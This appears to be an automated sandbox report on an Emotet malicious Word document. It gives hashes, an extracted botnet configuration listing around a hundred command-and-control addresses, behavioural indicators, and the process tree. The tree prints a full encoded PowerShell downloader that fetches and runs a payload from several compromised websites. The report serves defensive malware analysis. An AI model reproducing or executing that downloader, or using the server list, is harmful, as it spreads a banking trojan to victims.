emotet | 01fef30b1519a4eaa558839ae9d4905b10f002571d44f140afb7fe2850c6fc20

Analysis

max time kernel
136s
max time network
150s
platform
windows10_x64
resource
win10v200722
submitted
19/10/2020, 17:42

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General

Target
emotet_e2_01fef30b1519a4eaa558839ae9d4905b10f002571d44f140afb7fe2850c6fc20_2020-10-19__174009690480._doc.doc
Size 153KB
Sample201019-nefxlpps5s
SHA256 01fef30b1519a4eaa558839ae9d4905b10f002571d44f140afb7fe2850c6fc20
MD5 7cc6cd05750fe0fabc779e229a387a82
SHA1 ee5712ae158c4f943f489526aadc23d5dc7e7118
SHA512 500c22e903af2a34e8df63ccf99aeed2730b12836aaed722c14a185fe986a21fea84e5ffec8a30aa6e66a3e3b22c8f2bbdaa944992799105265eedbeb0444ae3
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Family

emotet

Botnet

Epoch2

173.63.117.194:80
212.71.250.88:8080
167.114.153.111:8080
118.83.154.64:443
5.39.91.110:7080
5.196.74.210:8080
174.45.13.118:80
5.196.108.189:8080
85.25.106.204:8080
89.216.122.92:80
142.112.10.95:20
110.145.77.103:80
37.139.21.175:8080
62.30.7.67:443
209.54.13.14:80
95.213.236.64:8080
87.106.139.101:8080
113.61.66.94:80
162.241.242.173:8080
49.3.224.99:8080
46.105.131.79:8080
96.245.227.43:80
104.131.123.136:443
61.33.119.226:443
91.146.156.228:80
172.104.97.173:8080
162.241.140.129:8080
71.15.245.148:8080
24.137.76.62:80
190.240.194.77:443
121.7.31.214:80
50.35.17.13:80
139.99.158.11:443
176.111.60.55:8080
103.86.49.11:8080
188.219.31.12:80
124.41.215.226:80
174.106.122.139:80
76.175.162.101:80
72.143.73.234:443
208.180.207.205:80
87.106.136.232:8080
203.153.216.189:7080
37.187.72.193:8080
186.74.215.34:80
62.75.141.82:80
104.131.44.150:8080
140.186.212.146:80
50.91.114.38:80
94.200.114.161:80
120.150.60.189:80
49.50.209.131:80
74.214.230.200:80
123.176.25.234:80
76.171.227.238:80
94.23.237.171:443
69.206.132.149:80
184.180.181.202:80
168.235.67.138:7080
209.141.54.221:7080
78.188.106.53:443
172.91.208.86:80
137.59.187.107:8080
190.108.228.27:443
74.208.45.104:8080
47.144.21.12:443
121.124.124.40:7080
104.131.11.150:443
220.245.198.194:80
181.126.74.180:80
80.241.255.202:8080
66.76.12.94:8080
130.0.132.242:80
47.36.140.164:80
75.139.38.211:80
71.72.196.159:80
97.82.79.83:80
139.162.60.124:8080
79.137.83.50:443
109.74.5.95:8080
194.187.133.160:443
216.139.123.119:80
75.143.247.51:80
89.121.205.18:80
218.147.193.146:80
110.142.236.207:80
157.245.99.39:8080
120.150.218.241:443
139.162.108.71:8080
185.94.252.104:443
79.98.24.39:8080
134.209.36.254:8080
68.252.26.78:80
139.59.60.244:8080
78.24.219.147:8080
123.142.37.166:80
24.179.13.119:80
83.110.223.58:443
91.211.88.52:7080
194.4.58.192:7080
93.147.212.206:80
108.46.29.236:80
61.19.246.238:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2552	1572	POwersheLL.exe	72

Emotet Payload 2 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1852-14-0x0000000000680000-0x0000000000690000-memory.dmp	emotet
behavioral2/memory/4084-20-0x00000000020E0000-0x00000000020F0000-memory.dmp	emotet

Blacklisted process makes network request 3 IoCs

flow	pid	Process
14	2552	POwersheLL.exe
16	2552	POwersheLL.exe
18	2552	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1852	S9ju0z2cp.exe
4084	FXSRESM.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\offreg\FXSRESM.exe	S9ju0z2cp.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2816	WINWORD.EXE
2816	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2552	POwersheLL.exe
2552	POwersheLL.exe
2552	POwersheLL.exe
4084	FXSRESM.exe
4084	FXSRESM.exe
4084	FXSRESM.exe
4084	FXSRESM.exe
4084	FXSRESM.exe
4084	FXSRESM.exe
4084	FXSRESM.exe
4084	FXSRESM.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2552	POwersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2816	WINWORD.EXE
2816	WINWORD.EXE
2816	WINWORD.EXE
2816	WINWORD.EXE
2816	WINWORD.EXE
2816	WINWORD.EXE
2816	WINWORD.EXE
2816	WINWORD.EXE
2816	WINWORD.EXE
1852	S9ju0z2cp.exe
1852	S9ju0z2cp.exe
4084	FXSRESM.exe
4084	FXSRESM.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1852 wrote to memory of 4084	1852	S9ju0z2cp.exe	81
PID 1852 wrote to memory of 4084	1852	S9ju0z2cp.exe	81
PID 1852 wrote to memory of 4084	1852	S9ju0z2cp.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_01fef30b1519a4eaa558839ae9d4905b10f002571d44f140afb7fe2850c6fc20_2020-10-19__174009690480._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2816

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD IAAgAFMAZQB0AC0AaQBUAGUATQAgACAAKAAnAHYAQQByAEkAJwArACcAQQBiACcAKwAnAGwAJwArACcAZQA6AFYAMgBvACcAKQAgACAAKABbAHQAWQBwAGUAXQAoACcAcwBZAFMAVABFAE0ALgBpAG8AJwArACcALgBkAGkAJwArACcAUgBlAGMAJwArACcAVABvAFIAeQAnACkAKQA7ACAAJAAwADUARABiACAAPQAgAFsAdABZAHAARQBdACgAJwBzAFkAUwAnACsAJwB0AEUAJwArACcATQAuACcAKwAnAE4ARQBUAC4AJwArACcAcwBFAHIAdgAnACsAJwBpAGMARQBwAE8AaQBuACcAKwAnAFQAJwArACcATQBBAG4AYQBHACcAKwAnAEUAcgAnACkAIAA7ACAAUwBFAHQALQBJAFQAZQBtACAAIABWAGEAUgBJAEEAYgBsAGUAOgAxAEYAOQB4AFEAcAAgACAAKAAgAFsAdABZAFAAZQBdACgAJwBTAFkAUwAnACsAJwB0AEUAbQAuACcAKwAnAG4ARQB0AC4AJwArACcAcwBlAEMAVQBSAGkAVAAnACsAJwBZAFAAJwArACcAUgBvAHQAJwArACcATwBDAG8ATAB0AFkAJwArACcAcABlACcAKQApACAAOwAgACQATABpAGMAZABqAHAAMgA9ACgAJwBEAGkAJwArACcAMQBsAHQAMQBpACcAKQA7ACQAQQBzAGEAcQA2AHoAMwA9ACQARgBkAGwAdQBwAG4ANgAgACsAIABbAGMAaABhAHIAXQAoADgAMAAgAC0AIAAzADgAKQAgACsAIAAkAEoAOABnAGIAZQBxAGwAOwAkAE4AYQBfAHcAdwB5AGUAPQAoACcAVwBvAF8ANAB1ACcAKwAnAHMAaAAnACkAOwAgACAAJABWADIATwA6ADoAQwByAEUAYQB0AEUARABpAHIARQBDAFQATwByAHkAKAAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACAAKwAgACgAKAAnAHYAdwBrACcAKwAnAEEAdwAnACsAJwBjAGUAYgBrADUAdgAnACsAJwB3AGsAJwArACcAWQBiADkAMQAxAGsAXwB2ACcAKwAnAHcAawAnACkALQBjAHIARQBwAGwAQQBjAGUAIAAoAFsAQwBIAGEAUgBdADEAMQA4ACsAWwBDAEgAYQBSAF0AMQAxADkAKwBbAEMASABhAFIAXQAxADAANwApACwAWwBDAEgAYQBSAF0AOQAyACkAKQA7ACQAVQB1AHMAdwBfAHEAdgA9ACgAJwBLAGEAMQAnACsAJwBtAGoAegB1ACcAKQA7ACAAKAAgAGcAZQBUAC0AYwBoAGkATABkAEkAVABlAG0AIAAgACgAJwBWAGEAcgAnACsAJwBJAEEAJwArACcAYgAnACsAJwBsAGUAJwArACcAOgAwADUAZABiACcAKQAgACkALgB2AGEATABVAGUAOgA6AHMARQBjAHUAUgBpAHQAeQBwAFIAbwB0AE8AQwBPAGwAIAA9ACAAIAAgACQAMQBGADkAWABRAHAAOgA6AFQAbABTADEAMgA7ACQAWABhADQAcwAyAHcAMgA9ACgAJwBaACcAKwAnADEAegBhAG4AYgB0ACcAKQA7ACQASQBoAHgAZgBjAGIAZwAgAD0AIAAoACcAUwA5ACcAKwAnAGoAdQAwAHoAJwArACcAMgBjAHAAJwApADsAJABGAHYAMAAzAG0AZwA1AD0AKAAnAFgAdQB6ADEAcwAnACsAJwBnADQAJwApADsAJABRAGoAMwB1ADIAbgBzAD0AKAAnAFEAbABxAGEAJwArACcAMQBpAGoAJwApADsAJABCAF8AcgBsAGYAcgBzAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAGwAcgBVAEEAdwAnACsAJwBjACcAKwAnAGUAJwArACcAYgBrADUAJwArACcAbAByAFUAWQBiACcAKwAnADkAMQAxAGsAJwArACcAXwBsAHIAVQAnACkALgByAGUAUABMAEEAQwBFACgAKABbAGMAaABhAHIAXQAxADAAOAArAFsAYwBoAGEAcgBdADEAMQA0ACsAWwBjAGgAYQByAF0AOAA1ACkALAAnAFwAJwApACkAKwAkAEkAaAB4AGYAYwBiAGcAKwAoACcALgAnACsAJwBlAHgAZQAnACkAOwAkAEIANgBvAGYAdwBpAG8APQAoACcARQBjAGYAJwArACcAXwBnACcAKwAnAF8AcQAnACkAOwAkAEcAZQBlAF8AMQBoAHcAPQBOAEUAdwBgAC0AbwBiAGoAZQBgAGMAVAAgAE4ARQB0AC4AVwBFAGIAQwBMAGkAZQBuAFQAOwAkAE0AMABlAHAAbAA4AHUAPQAoACcAaAAnACsAJwB0AHQAcABzACcAKwAnADoALwAvAHoAJwArACcAYQBtAGkAbgBkAGEAcgBzAG8AbgBzACcAKwAnAC4AYwAnACsAJwBvAG0AJwArACcALwB3AHAALQBjAG8AbgB0ACcAKwAnAGUAJwArACcAbgAnACsAJwB0AC8AdgA3AFQAJwArACcAawAnACsAJwAvACoAaAAnACsAJwB0AHQAcAAnACsAJwBzADoALwAvAHAAaAB5AHMAaQBjAGkAYQBuAG0AJwArACcAZQBkAGkAYwAnACsAJwBhAGwALQAnACsAJwBsAGUAZwAnACsAJwBhAGwAYwBvAG4AJwArACcAcwB1ACcAKwAnAGwAdABpAG4AZwAnACsAJwAuAGMAJwArACcAbwAnACsAJwBtACcAKwAnAC8AYwAnACsAJwBnAGkALQBiAGkAbgAvAHAAawAwAG0ATwBMADkALwAqACcAKwAnAGgAdAB0AHAAcwAnACsAJwA6AC8ALwBzACcAKwAnAGgAbwAnACsAJwBlAHMAZABlAHMAaQBnAG4AJwArACcALgBuAGUAJwArACcAdAAnACsAJwAvAHcAcAAtACcAKwAnAGkAbgAnACsAJwBjAGwAdQBkACcAKwAnAGUAcwAvACcAKwAnADUAVABWADMAQQBTAC8AJwArACcAKgBoACcAKwAnAHQAdABwACcAKwAnADoALwAvAHQAZQByACcAKwAnAHIAaQBhAGYAaQB0ACcAKwAnAC4AYwBvAG0ALwB3AHAALQAnACsAJwBjAG8AbgB0AGUAbgB0AC8ANgBqAC8AJwArACcAKgBoAHQAdABwADoALwAvADEAMwBkACcAKwAnAGkAZwBpAC4AbgBlAHQALwAnACsAJwB3AHAAJwArACcALQBhAGQAbQAnACsAJwBpAG4ALwBqAC8AKgAnACsAJwBoAHQAdABwACcAKwAnADoALwAvAGkAcwBwAGkAbgA4ADgALgBjAG8AbQAvAHcAcAAtAGEAJwArACcAZABtAGkAbgAvAEIATABqACcAKwAnADEANAAnACsAJwA5AC8AJwArACcAKgBoACcAKwAnAHQAdABwACcAKwAnADoAJwArACcALwAvAHAAcwBrAGgAOAA4ADgALgAnACsAJwBjAG8AbQAvAHcAcAAtAGEAZAAnACsAJwBtAGkAbgAvAHcALwAqAGgAdAB0ACcAKwAnAHAAOgAvAC8AYgBlAHIAagBhAHkAYQAnACsAJwA4ADgAJwArACcALgBuAGUAdAAvAHcAcAAtAGEAZABtAGkAbgAvAFgAMgBUAEIAYwAyAGwAJwArACcALwAnACkALgBTAHAAbABJAFQAKAAkAFQAYQBjAHIAbAA3AGYAIAArACAAJABBAHMAYQBxADYAegAzACAAKwAgACQAQwBkAGUAYQAxADUAdgApADsAJABIADAAeAB4ADQAeABsAD0AKAAnAFcAJwArACcAagBvAHoAaAB0AHkAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABTAGwAawAyADUAdABmACAAaQBuACAAJABNADAAZQBwAGwAOAB1ACkAewB0AHIAeQB7ACQARwBlAGUAXwAxAGgAdwAuAEQATwB3AG4AbABvAEEAZABGAGkAbABFACgAJABTAGwAawAyADUAdABmACwAIAAkAEIAXwByAGwAZgByAHMAKQA7ACQAVwBuAGoAegBmADQAcAA9ACgAJwBTAHQAYwBzAGQAJwArACcAbgAzACcAKQA7AEkAZgAgACgAKABnAEUAYABUAGAALQBpAFQAZQBtACAAJABCAF8AcgBsAGYAcgBzACkALgBsAEUAbgBnAHQASAAgAC0AZwBlACAAMgA5ADMAMwAxACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAoACcAdwBpAG4AMwAyAF8AUAByACcAKwAnAG8AYwBlAHMAJwArACcAcwAnACkAKQAuAEMAUgBlAGEAdABlACgAJABCAF8AcgBsAGYAcgBzACkAOwAkAE0AegBoAG4ANABrAGQAPQAoACcAUQB3AGIAcwByAHkAJwArACcAdgAnACkAOwBiAHIAZQBhAGsAOwAkAE0AZgBuAHUANwB0AHIAPQAoACcATAA4AGoAdgA1ACcAKwAnAGwAcwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEEAaAAyADUAcQBsAGMAPQAoACcARQAnACsAJwBfAHMAaABuADEAagAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2552

C:\Users\Admin\Awcebk5\Yb911k_\S9ju0z2cp.exe
C:\Users\Admin\Awcebk5\Yb911k_\S9ju0z2cp.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1852
- C:\Windows\SysWOW64\offreg\FXSRESM.exe
  "C:\Windows\SysWOW64\offreg\FXSRESM.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:4084

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1852-14-0x0000000000680000-0x0000000000690000-memory.dmp

Download

memory/2552-6-0x00007FF99DF70000-0x00007FF99E95C000-memory.dmp

Download

memory/2552-7-0x000002D1EB210000-0x000002D1EB211000-memory.dmp

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memory/2552-8-0x000002D1EB4E0000-0x000002D1EB4E1000-memory.dmp

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memory/2816-5-0x0000028638762000-0x000002863876B000-memory.dmp

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memory/2816-0-0x00007FF9A4DF0000-0x00007FF9A54B6000-memory.dmp

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memory/2816-4-0x000002863862E000-0x0000028638633000-memory.dmp

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memory/2816-3-0x000002863862E000-0x0000028638633000-memory.dmp

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memory/2816-2-0x0000028638629000-0x000002863862E000-memory.dmp

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memory/2816-1-0x000002863862E000-0x0000028638633000-memory.dmp

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memory/4084-20-0x00000000020E0000-0x00000000020F0000-memory.dmp

Download